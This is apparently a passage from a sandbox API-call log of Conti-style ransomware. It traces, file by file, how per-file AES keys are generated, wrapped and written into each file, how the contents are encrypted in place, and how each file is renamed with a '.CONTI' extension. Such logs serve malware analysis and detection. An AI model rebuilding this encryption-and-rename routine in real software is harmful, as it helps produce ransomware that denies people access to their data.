	[0111.706] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.706] CryptDestroyKey (hKey=0x17c78b0) returned 1
	[0111.706] GetProcessHeap () returned 0x1720000
	[0111.706] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6572428 | out: hHeap=0x1720000) returned 1
	[0111.706] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0111.706] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x17ffc28 | out: phKey=0x17ffc28*=0x6b7f3b8) returned 1
	[0111.706] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17ffc2c, pdwDataLen=0x433f9bc | out: pbData=0x17ffc2c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0111.707] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\422__connections_cellular_tele2 (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.708] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\422__connections_cellular_tele2 (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0111.708] GetLastError () returned 0x0
	[0111.708] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=712) returned 1
	[0111.708] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c8
	[0111.708] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.708] SetEndOfFile (hFile=0x308) returned 1
	[0111.709] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.709] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.709] WriteFile (in: hFile=0x308, lpBuffer=0x17ffc2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x17ffc2c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0111.711] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.711] ReadFile (in: hFile=0x308, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2c8, lpOverlapped=0x0) returned 1
	[0111.711] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2c8, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d0) returned 1
	[0111.711] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.712] WriteFile (in: hFile=0x308, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.712] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.712] WriteFile (in: hFile=0x308, lpBuffer=0x17ffc20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x17ffc20*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0111.712] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.712] CloseHandle (hObject=0x308) returned 1
	[0111.712] GetProcessHeap () returned 0x1720000
	[0111.712] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.712] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml"
	[0111.712] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.712] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\422__connections_cellular_tele2 (sweden)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\422__connections_cellular_tele2 (sweden)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.713] GetProcessHeap () returned 0x1720000
	[0111.713] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.713] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0111.713] GetProcessHeap () returned 0x1720000
	[0111.713] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18070e8 | out: hHeap=0x1720000) returned 1
	[0111.713] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0111.713] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x18012f8 | out: phKey=0x18012f8*=0x6b7f638) returned 1
	[0111.713] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x18012fc, pdwDataLen=0x433f9bc | out: pbData=0x18012fc*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0111.714] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\423__connections_cellular_telenor (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.714] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\423__connections_cellular_telenor (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0111.714] GetLastError () returned 0x0
	[0111.714] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=653) returned 1
	[0111.715] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28d
	[0111.715] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.715] SetEndOfFile (hFile=0x308) returned 1
	[0111.715] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.715] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.715] WriteFile (in: hFile=0x308, lpBuffer=0x18012fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x18012fc*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0111.721] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.721] ReadFile (in: hFile=0x308, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x28d, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x28d, lpOverlapped=0x0) returned 1
	[0111.721] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x28d, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x290) returned 1
	[0111.721] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.721] WriteFile (in: hFile=0x308, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x290, lpOverlapped=0x0) returned 1
	[0111.722] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.722] WriteFile (in: hFile=0x308, lpBuffer=0x18012f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x18012f0*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0111.722] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.722] CloseHandle (hObject=0x308) returned 1
	[0111.722] GetProcessHeap () returned 0x1720000
	[0111.722] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.722] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml"
	[0111.722] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.722] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\423__connections_cellular_telenor (sweden)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\423__connections_cellular_telenor (sweden)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.723] GetProcessHeap () returned 0x1720000
	[0111.723] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.723] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0111.723] GetProcessHeap () returned 0x1720000
	[0111.723] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1807f00 | out: hHeap=0x1720000) returned 1
	[0111.723] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0111.723] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x1801c18 | out: phKey=0x1801c18*=0x6b7f0b8) returned 1
	[0111.723] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x1801c1c, pdwDataLen=0x433f9bc | out: pbData=0x1801c1c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0111.724] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\425__connections_cellular_orange (switzerland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.724] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\425__connections_cellular_orange (switzerland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0111.724] GetLastError () returned 0x0
	[0111.724] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=716) returned 1
	[0111.724] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0111.724] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.724] SetEndOfFile (hFile=0x308) returned 1
	[0111.724] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.724] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.725] WriteFile (in: hFile=0x308, lpBuffer=0x1801c1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x1801c1c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0111.731] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.731] ReadFile (in: hFile=0x308, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2cc, lpOverlapped=0x0) returned 1
	[0111.731] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2cc, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d0) returned 1
	[0111.731] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.731] WriteFile (in: hFile=0x308, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.731] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.731] WriteFile (in: hFile=0x308, lpBuffer=0x1801c10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x1801c10*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0111.731] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.731] CloseHandle (hObject=0x308) returned 1
	[0111.731] GetProcessHeap () returned 0x1720000
	[0111.731] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.731] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml"
	[0111.731] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.731] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\425__connections_cellular_orange (switzerland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\425__connections_cellular_orange (switzerland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.732] GetProcessHeap () returned 0x1720000
	[0111.732] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.732] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0111.732] GetProcessHeap () returned 0x1720000
	[0111.732] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656cc18 | out: hHeap=0x1720000) returned 1
	[0111.732] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0111.732] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x18000b8 | out: phKey=0x18000b8*=0x6b7f038) returned 1
	[0111.732] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x18000bc, pdwDataLen=0x433f9bc | out: pbData=0x18000bc*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0111.733] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\427__connections_cellular_sunrise (switzerland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.733] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\427__connections_cellular_sunrise (switzerland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0111.733] GetLastError () returned 0x0
	[0111.734] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=647) returned 1
	[0111.734] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x287
	[0111.734] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.734] SetEndOfFile (hFile=0x308) returned 1
	[0111.734] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.734] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.734] WriteFile (in: hFile=0x308, lpBuffer=0x18000bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x18000bc*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0111.740] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.740] ReadFile (in: hFile=0x308, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x287, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x287, lpOverlapped=0x0) returned 1
	[0111.741] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x287, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x290) returned 1
	[0111.741] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.741] WriteFile (in: hFile=0x308, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x290, lpOverlapped=0x0) returned 1
	[0111.741] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.741] WriteFile (in: hFile=0x308, lpBuffer=0x18000b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x18000b0*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
